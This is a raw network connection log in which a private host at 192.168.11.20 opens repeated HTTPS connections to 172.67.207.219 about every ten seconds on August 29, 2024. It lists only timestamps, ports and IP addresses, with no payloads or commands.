Aug 29, 2024 12:40:59.856204033 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:59.856427908 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:59.856794119 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:59.856806040 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.070533037 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.070817947 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.071311951 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.071321011 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.071399927 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.071409941 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.329184055 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.329242945 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.329278946 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.329349041 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.329384089 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.329394102 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:00.329412937 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.329529047 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.329673052 CEST	49780	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:00.329688072 CEST	443	49780	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.369343996 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.369386911 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.369599104 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.369796038 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.369807005 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.583781958 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.583944082 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.584211111 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.584219933 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.584450960 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.584460974 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.845936060 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.845998049 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.846029997 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.846121073 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:10.846182108 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.846257925 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.846571922 CEST	49781	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:10.846585035 CEST	443	49781	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:20.882610083 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:20.882637978 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:20.882832050 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:20.882989883 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:20.883013964 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.095549107 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.095719099 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.096148014 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.096155882 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.096266031 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.096271038 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.355957031 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.356013060 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.356139898 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.356249094 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:21.356254101 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.356307030 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.356384993 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.356618881 CEST	49782	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:21.356628895 CEST	443	49782	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.395931005 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.395952940 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.396150112 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.396399021 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.396406889 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.609184980 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.609342098 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.609601021 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.609606981 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.609863043 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.609870911 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.868244886 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.868294954 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.868333101 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.868472099 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:31.868501902 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.868551970 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.868616104 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.868810892 CEST	49783	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:31.868822098 CEST	443	49783	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:41.909322023 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:41.909368992 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:41.909540892 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:41.909712076 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:41.909729004 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.124872923 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.125036001 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.125463009 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.125483990 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.125736952 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.125751972 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.381330967 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.381387949 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.381426096 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.381488085 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.381503105 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.381556034 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:42.381603003 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.381668091 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.381863117 CEST	49784	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:42.381880999 CEST	443	49784	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.438023090 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.438050985 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.438190937 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.438426971 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.438440084 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.651086092 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.651407957 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.651668072 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.651676893 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.651942968 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.651952028 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906264067 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906335115 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906374931 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906419039 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.906443119 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906496048 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.906560898 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.906569958 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906593084 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:41:52.906744003 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.906790972 CEST	49785	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:41:52.906805038 CEST	443	49785	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:02.966962099 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:02.966994047 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:02.967190981 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:02.967312098 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:02.967322111 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.183850050 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.183998108 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.184248924 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.184257984 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.184310913 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.184318066 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.439897060 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.439989090 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.440023899 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.440123081 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:03.440128088 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.440203905 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.440283060 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.440464020 CEST	49786	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:03.440474987 CEST	443	49786	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.480422020 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.480485916 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.480730057 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.480926991 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.480957985 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.696067095 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.696204901 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.696490049 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.696496964 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.696609020 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.696616888 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.957530975 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.957704067 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.957714081 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.957761049 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.957844973 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:13.957845926 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.957951069 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.958054066 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.958144903 CEST	49787	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:13.958157063 CEST	443	49787	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:23.993557930 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:23.993578911 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:23.993737936 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:23.993921995 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:23.993928909 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.207251072 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.207410097 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.207691908 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.207701921 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.207906008 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.207912922 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.464694023 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.464744091 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.464801073 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.464919090 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:24.464939117 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.464939117 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.465159893 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.465370893 CEST	49788	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:24.465390921 CEST	443	49788	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:34.522655010 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:34.522784948 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:34.523097038 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:34.523334026 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:34.523397923 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:34.747550011 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:34.747818947 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:34.748203039 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:34.748213053 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:34.748332977 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:34.748353004 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.005419016 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.005635023 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.005666971 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.005709887 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.005839109 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.005919933 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.006119967 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.006161928 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.006342888 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:35.006361961 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.006503105 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.006504059 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.318561077 CEST	49789	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:35.318655968 CEST	443	49789	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.067281961 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.067405939 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.067585945 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.067867041 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.067930937 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.292313099 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.292546988 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.292982101 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.293030024 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.293195009 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.293229103 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.555234909 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.555416107 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.555464029 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.555509090 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.555598974 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.555702925 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.555731058 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.555916071 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.555960894 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.556092024 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.556121111 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.556214094 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:45.556257963 CEST	443	49790	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:45.556276083 CEST	49790	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.642765045 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.642863035 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:55.643161058 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.643359900 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.643429041 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:55.864548922 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:55.864816904 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.866102934 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.866116047 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:55.866606951 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:55.866620064 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.123579979 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.123763084 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.123806953 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.123836994 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.123995066 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.124057055 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.124233961 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.124296904 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.124450922 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.124564886 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.124775887 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.124803066 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.124871016 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.124907970 CEST	443	49791	172.67.207.219	192.168.11.20
Aug 29, 2024 12:42:56.125025034 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:42:56.125072002 CEST	49791	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.203006983 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.203107119 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.203294039 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.203511953 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.203586102 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.422548056 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.422802925 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.423360109 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.423367023 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.423727036 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.423736095 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.681237936 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.681426048 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.681474924 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.681627035 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.681647062 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.681669950 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.681864023 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.681911945 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.682032108 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.682068110 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.682094097 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:06.682132006 CEST	443	49792	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:06.682264090 CEST	49792	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.763158083 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.763284922 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:16.763462067 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.763750076 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.763814926 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:16.987484932 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:16.987664938 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.987998962 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.988050938 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:16.988099098 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:16.988130093 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:17.242660046 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:17.242713928 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:17.242763042 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:17.242809057 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:17.242841959 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:17.242856026 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:17.242921114 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:17.242957115 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:17.243130922 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:17.243176937 CEST	49793	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:17.243204117 CEST	443	49793	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:27.307574987 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:27.307602882 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:27.307743073 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:27.307926893 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:27.307943106 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:27.527012110 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:27.527256966 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:27.527611017 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:27.527659893 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:27.527681112 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:27.527705908 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.012819052 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013015985 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.013076067 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013216972 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.013269901 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013439894 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.013489008 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013633013 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.013665915 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013773918 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.013808012 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013837099 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.013900042 CEST	443	49794	172.67.207.219	192.168.11.20
Aug 29, 2024 12:43:28.013968945 CEST	49794	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:43:28.014060974 CEST	49794	443	192.168.11.20	172.67.207.219
